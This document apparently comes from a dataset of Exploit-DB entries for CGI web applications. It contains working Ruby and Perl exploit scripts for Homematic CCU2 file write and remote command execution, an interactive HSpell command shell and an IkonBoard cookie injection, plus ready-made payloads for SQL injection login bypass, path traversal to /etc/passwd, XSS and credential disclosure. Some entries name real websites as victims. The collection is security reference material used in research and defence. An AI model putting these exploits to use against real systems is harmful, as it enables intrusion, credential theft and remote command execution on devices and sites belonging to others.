deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44361
Description: Homematic CCU2 2.29.23 - Arbitrary File Write
Type: webapps
Platform: cgi
Date: 2018-03-30
Author: Patrick Muench and Gregor Kopf

Exploit:
#!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Arbitrary File Write
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7300

# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite

require 'net/http'
require 'net/https'
require 'uri'
require 'json'

unless ARGV.length == 3
  STDOUT.puts <<-EOF
Please provide url

Usage:
  write_files.rb <ip.adress> <file path> <content of the file>

Example:
  write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

  or

  write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

EOF
  exit
end

# The first argument specifiee the URL and if http or https is used
url = ARGV[0] + "/api/homematic.cgi"

# The second argument specifies the file into which the content should be written
homematic_file_path = ARGV[1]

# The third argument specifies the content of the file
homematic_file_content = ARGV[2]

# define the json body for the attack
body = {
        "version": "1.1",
        "method": "User.setLanguage",
        "params": {
                    "userName": "file path",
                    "userLang": "file content"
                  }
        }.to_hash

# define the traversal with the file you want to write
body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"

# define the content
body[:params][:userLang] = homematic_file_content

# split the uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the content type of the http request
  request.content_type = 'application/json'

  # define the request body
  request.body = body.to_json

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response message code and status to cli
  puts 'Response code: ' + response.code + ' ' + response.message
end
Exploit-DB #44368
Description: Homematic CCU2 2.29.23 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2018-03-30
Author: Patrick Muench and Gregor Kopf

Exploit:
#!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Remote Command Execution
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7297

# Description: http://atomic111.github.io/article/homematic-ccu2-remote-code-execution

require 'net/http'
require 'net/https'
require 'uri'

unless ARGV.length == 2
  STDOUT.puts <<-EOF
Please provide url and the command, which is execute on the homematic

Usage:
  execute_cmd.rb <ip.adress> <homematic command>

Example:
  execute_cmd.rb https://192.168.1.1 "cat /etc/shadow"

  or

  execute_cmd.rb http://192.168.1.1 "cat /etc/shadow"

EOF
  exit
end

# The first argument specifies the URL and if http or https is used
url = ARGV[0] + "/Test.exe"

# The second argument specifies the command which is executed via tcl interpreter
tcl_command = ARGV[1]

# define body content
body = "string stdout;string stderr;system.Exec(\"" << tcl_command << "\", &stdout, &stderr);WriteLine(stdout);"

# split uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the request body
  request.body = body

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response to cli
  puts response.body
end
Exploit-DB #40261
Description: Honeywell IP-Camera HICC-1100PT - Credentials Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-18
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : Honeywell IP-Camera (HICC-1100PT) Unauthenticated Remote Credentials Disclosure
Vendor Homepage         : https://www.asia.security.honeywell.com
Remotely Exploitable	: Yes
Tested on Camera types	: HICC-1100PT
Reference               : https://www.asia.security.honeywell.com/Pages/product.aspx?category=720P-1.3M%20Box%20Camera&cat=HSG-ASIASECURITY&pid=HICC-1100T
Vulnerability           : Username / Password Disclosure (Critical/High)
Shodan Dork             : html:"Honeywell IP-Camera"
Date                    : 18/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
Honeywell IP-Camera (HICC-1100PT) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 


Request:
----------
GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
Host: host:port
Connection: close


Response:
----------
HTTP/1.0 200 OK
Connection: close
Content-type: text/html

var Adm_ID="admin";
var Adm_Pass1=“admin”;
var Adm_Pass2=“admin”;
var Language=“en”;
var Logoff_Time="0";



Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #40283
Description: Honeywell IP-Camera HICC-1100PT - Local File Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-22
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : Honeywell IP-Camera (HICC-1100PT) Local File Inclusion
Vendor Homepage         : https://www.asia.security.honeywell.com
Remotely Exploitable	: Yes
Tested on Camera types	: HICC-1100PT
Reference               : https://www.asia.security.honeywell.com/Pages/product.aspx?category=720P-1.3M%20Box%20Camera&cat=HSG-ASIASECURITY&pid=HICC-1100T
Vulnerability           : Local File Inclusion (Critical/High)
Shodan Dork             : html:"Honeywell IP-Camera"
Date                    : 20/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)


2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.


3. Description
========================================
Honeywell IP-Camera (HICC-1100PT) allows to unauthenticated user to include files from local server such as /etc/passwd, /etc/shadow or config.ini which contains all credentials and other configurations.

4. Proof-of-Concept:
========================================
For example you can get /etc/passwd
http://host:port/cgi-bin/check.cgi?file=../../../etc/passwd

Or config.ini file:

http://host:port/cgi-bin/check.cgi?file=config.ini


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #35008
Description: Hot Links SQL 3.2 - 'report.cgi' SQL Injection
Type: webapps
Platform: cgi
Date: 2010-11-22
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45000/info

Hot Links SQL is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Hot Links SQL 3.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/report.cgi?id=999; or 'a'='a
Exploit-DB #7753
Description: HSPell 1.1 - 'cilla.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2009-01-13
Author: ZeN

Exploit:
#!/usr/bin/perl
use IO::Socket;

print q{

HSpell v1.1 Command Execution Exploit

Theres a 1000 ways to improve this exploit,
but I really couldn't be fucked with it.

Made By ZeN
http://dusecurity.com/
http://darkcode.me/

};


$host = 'site.com';
$port = '80';
$path = '/cgi-bin/cilla.cgi';

ShellMe:

print "\nh4x0r~> ";
$cmd = <stdin>;
chop ($cmd);

$cmd =~ s/\ /+/g;


$header = "GET ".$path."?root=pwnt%3B+".$cmd."&binyan=%F7%EC HTTP/1.1\r\n";
$header = $header."Host: ".$host."\r\n";
$header = $header."User-Agent: DUSecurity Group\r\n";
$header = $header."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header = $header."Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header = $header."Accept-Encoding: gzip,deflate\r\n";
$header = $header."Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header = $header."Connection: close\r\n";
$header = $header."Cache-Control: max-age=0\r\n";
$header = $header."\r\n";


$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || print "[*] Error!\n";
print $get1 $header;
$get1->recv($buffer,50000);

$shell = substr($buffer, 1347);

print $shell;

goto ShellMe;

# milw0rm.com [2009-01-13]
Exploit-DB #30818
Description: ht://Dig 3.2 - Htsearch Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-11-27
Author: Michael Skibbe

Exploit:
source: https://www.securityfocus.com/bid/26610/info

ht://Dig is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows an attacker to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects ht://Dig 3.2.0b6; other versions may also be vulnerable. 

http://www.example.com/cgi-bin/htsearch?config=&restrict=&exclude=&method=and&format=builtin-long&sort=<script>alert("foo")</script>&words=foo
Exploit-DB #7404
Description: HTMPL 1.11 - Command Execution
Type: webapps
Platform: cgi
Date: 2008-12-10
Author: ZeN

Exploit:
Software : HTMPL v1.11
Download Link : http://vmeste.org/templ_ex/doc/1.html
Vulnrability : Command Execution
Severity : High
Author : ZeN
Website : http://dusecurity.com / http://darkcode.me/
 
Exploit :
site.com/cgi-bin/htmpl_admin.cgi?help=|cat /etc/passwd
 
 
A few other little..... tricks
The admins password is kept plaintext in the file 'adminpass', you can just access it directly
in the same directory.
 
Thanks str0ke ;)

Shouts to :
DU Security Group
DarkCoders
WL-Group
Milw0rm
EnigmaGroup
IWannaHack
HackHound

# milw0rm.com [2008-12-10]
Exploit-DB #27062
Description: Hummingbird Collaboration - Application Cookie Internal Network Information Disclosure
Type: webapps
Platform: cgi
Date: 2006-01-10
Author: Luca Carettoni

Exploit:
source: https://www.securityfocus.com/bid/16195/info
 
Hummingbird Enterprise Collaboration is prone to multiple vulnerabilities.
 
The following specific issues were identified:
 
The application reportedly allows remote attackers to upload arbitrary HTML files and script code to the application.
 
Another vulnerability allows attackers to trick users into downloading potentially malicious files.
 
An attacker may also disclose sensitive information about the server by sending specially crafted HTTP GET requests.
 
Hummingbird Enterprise Collaboration 5.2.1 and prior versions are vulnerable to these issues.

To disclose the internal IP address:

https://www.example.com/hc/hc?d=mes&x=20433&ntb=[numericParam]

Where the ntb parameter is supplied a numeric value instead of a string value. The internal IP address of the server may be found in a cookie.
Exploit-DB #27061
Description: Hummingbird Collaboration - Crafted URL File Property Obscuration Download
Type: webapps
Platform: cgi
Date: 2006-01-10
Author: Luca Carettoni

Exploit:
source: https://www.securityfocus.com/bid/16195/info

Hummingbird Enterprise Collaboration is prone to multiple vulnerabilities.

The following specific issues were identified:

The application reportedly allows remote attackers to upload arbitrary HTML files and script code to the application.

Another vulnerability allows attackers to trick users into downloading potentially malicious files.

An attacker may also disclose sensitive information about the server by sending specially crafted HTTP GET requests.

Hummingbird Enterprise Collaboration 5.2.1 and prior versions are vulnerable to these issues.

To trick users into downloading a potentially malicious file, the file is named 'fake.doc', however, a file with the ID of 1189762 is actually downloaded:
https://www.example.com/hc/hc/fake.doc?d=fc&o=dwnd&fid=1189762&did=89777&x=16080&doc_ext=.txt
Exploit-DB #8086
Description: i-dreams GB 5.4 Final - 'admin.dat' File Disclosure
Type: webapps
Platform: cgi
Date: 2009-02-20
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: i-dreams.net GB
Version : 5.4 Final
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
---------------------------------------------------------
#########################################################
[Xpl]:
http://site.com/firebook/data/admdat/admin.dat
------------------------------------------
Victem :
http://www.elsapo77.com
http://www.astro-partner.eu/cgi-bin
http://www.zarembowicz.de/cgi-bin
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-20]
Exploit-DB #8087
Description: i-dreams GB Server - 'admin.dat' File Disclosure
Type: webapps
Platform: cgi
Date: 2009-02-20
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: i-dreams.net GB Server
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
---------------------------------------------------------
#########################################################
[Xpl]:
http://site.com/[Path]/admdat/admin.dat
------------------------------------------
Victem :
http://www.comp-tech.at/guestbook/users/demo
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-20]
Exploit-DB #8085
Description: i-dreams Mailer 1.2 Final - 'admin.dat' File Disclosure
Type: webapps
Platform: cgi
Date: 2009-02-20
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: i-dreams Mailer
Version : 1.2 Final
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
---------------------------------------------------------
#########################################################
[Xpl]:
http://site.com/cgi-bin/budmail/data/admin.dat
------------------------------------------
Victem :
http://www.ttscreens.co.uk
http://www.roadkilleyeware.com
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-20]
Exploit-DB #23410
Description: IBM Directory Server 4.1 - Web Administration Interface Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-12-02
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/9140/info

IBM Directory Server is prone to cross-site scripting attacks via the web administrative interface. An attacker may be able to embed hostile HTML and script code in a malicious link to the server, which when followed will be rendered in the victim user's browser. This could allow the attacker to steal cookie-based authentication credentials or to launch other attacks.

This issue was reported in Directory Server 4.1. Other versions may also be affected. 

https://www.example.com/ldap/cgi-bin/ldacgi.exe?Action=<script>alert("foo")</script>
Exploit-DB #21374
Description: IBM Informix Web Datablade 4.1x - Page Request SQL Injection
Type: webapps
Platform: cgi
Date: 2002-04-11
Author: Simon Lodal

Exploit:
source: https://www.securityfocus.com/bid/4496/info

Informix is an enterprise database distributed and maintained by IBM. The Web Datablade Module for Informix SQL, dynamically generates HTML content based on Database data. Web Datablade is available for Apache, IIS, and Netscape web servers, and a generic CGI version is provided for alternative servers. It will execute under Windows NT, Linux and many Unix-like systems.

A vulnerability has been reported in some versions of Web Datablade. Reportedly, it is possible to inject SQL commands into any page request processed by Web Datablade. This may result in the disclosure of sensitive information or increased access to the database.

There have been reports that a similar issue exists within the HTTP Basic Authentication process used by Web Datablade, which also submits queries to the database. However, detailed exploitation information is not available for this case.

http://victim.com/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html
Exploit-DB #4286
Description: IBM Rational ClearQuest - Web Authentication Bypass / SQL Injection
Type: webapps
Platform: cgi
Date: 2007-08-14
Author: s4squatch

Exploit:
+==============================================================+
+   IBM Rational ClearQuest Web Login Bypass (SQL Injection)   +
+==============================================================+

DISCOVERED BY:
==============
SecureState
  sasquatch - swhite@securestate.com
  rel1k - dkennedy@securestate.com

HOMEPAGE:
=========
www.securestate.com


AFFECTED AREA:
===============
The username field on the login page is where the application is susceptible to SQL injection...


SAMPLE URL:
===========
http://SERVERNAMEHERE/cqweb/main?command=GenerateMainFrame&ratl_userdb=DATABASENAMEHERE,&test=&clientServerAddress=http://SERVERNAMEHERE/cqweb/login&username='INJECTIONGOESHERE&[CREDENTIAL_REDACTED]=SCHEMEAHERE&userDb=DATABASENAMEHERE

Log in as "admin":
==================
' OR login_name LIKE '%admin%'--

(other variations work as well)
' OR login_name LIKE 'admin%'--
' OR LOWER(login_name) LIKE '%admin%'--
' OR LOWER(login_name) LIKE 'admin%'--
etc...use your imagination...

Confirmed against:
==================
version 7.0.0.1        Label BALTIC_PATCH.D0609.929
version 7.0.0.0-IFIX02 Label BALTIC_PATCH.D060630

FULL SQL Statement is spit back in error message:
=================================================
SELECT
   master_users.master_dbid, master_users.login_name, master_users.encrypted_password,
   master_users.email, master_users.fullname, master_users.phone, master_users.misc_info,
   master_users.is_active, master_users.is_superuser, master_users.is_appbuilder,
   master_users.is_user_maint, ratl_mastership, ratl_keysite, master_users.ratl_priv_mask
FROM
   master_users
WHERE
   login_name = 'INJECTION GOES HERE

# milw0rm.com [2007-08-14]
Exploit-DB #27163
Description: IBM Tivoli Access Manager Plugin - Directory Traversal
Type: webapps
Platform: cgi
Date: 2006-02-04
Author: Timothy D. Morgan

Exploit:
source: https://www.securityfocus.com/bid/16494/info

Tivoli Access Manager Plugin for Web Servers is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks; other attacks are also possible.

Note that the attacker must be an authenticated user to exploit this vulnerability.

Versions 5.1.0.10 and 6.0.0 are vulnerable; other versions may also be affected. 

http://www.example.com/pkmslogout?filename=../../../../../../../etc/passwd
Exploit-DB #22499
Description: IkonBoard 3.1 - Lang Cookie Arbitrary Command Execution (1)
Type: webapps
Platform: cgi
Date: 2003-04-15
Author: Nick Cleaton

Exploit:
source: https://www.securityfocus.com/bid/7361/info

It has been reported that IkonBoard is prone to an arbitrary command execution vulnerability. The vulnerability is due to insufficient sanitization performed on user supplied cookie data.

An attacker may exploit this issue to execute arbitrary commands in the security context of the web server hosting the vulnerable IkonBoard. 

#!/usr/bin/perl -w
use strict;

my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
my $HEAD = qq|"Content-type: text/plain\r\n\r\n"|;

use IO::Socket;

my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";

my $val =
     qq|.\0"if print($HEAD,map"\$_ => \$ENV{\$_}\n",keys\%ENV)&&exit;#|;

$val =~ s#(\W)# sprintf '%%%.2X', ord $1 #ge;

$sock->print(
    "GET $PATH HTTP/1.1\r\n",
    "Host: $HOST\r\n",
    "Cookie: lang=$val\r\n",
    "Connection: close\r\n",
    "\r\n"
) or die "write: $!";

print while <$sock>;